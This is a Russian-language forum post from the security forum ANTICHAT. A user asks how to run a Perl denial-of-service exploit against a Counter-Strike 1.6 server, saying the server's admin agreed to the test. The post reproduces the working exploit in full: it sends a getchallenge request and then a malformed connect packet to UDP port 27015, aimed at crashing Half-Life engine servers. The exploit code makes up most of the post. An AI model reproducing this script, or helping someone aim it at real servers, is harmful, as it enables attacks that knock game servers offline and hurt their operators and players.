Форум АНТИЧАТ - Counter-Strike Server DoS (эксплоит)

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

Counter-Strike Server DoS (эксплоит)

03.02.2010, 11:56

Aesthete

Новичок

Регистрация: 31.10.2009

Сообщений: 12

Провел на форуме:
50952

Репутация: 0

Counter-Strike Server DoS (эксплоит)

Есть желание положить сервер КС 1.6. У админа получил добро, мол проверь мой сервер на устойчивость, а я потом исправлю. Узнал, что лучшим способ - это ДОСить. Нашел в инете вот этот эксплоит, а как им пользоваться хз... Не когда не организовывал Дос атаки, тем более на КС сервера... гуглил в инет "инструкцию по досу" и не чего не нашел.... (значит так гуглил) Помогите плиз. Киньте в меня ссылкой, где подробно описано... Вот сам эксплоит ---> и пару вопросов... Его как нить надо "изменять" или просто открываешь в цмд "путь до перлы -> cs.pl -> ИП...?

Код:

#!/usr/bin/perl
# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
my $host=$_[0];
my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";

sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);

$c2=$c[1];

$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}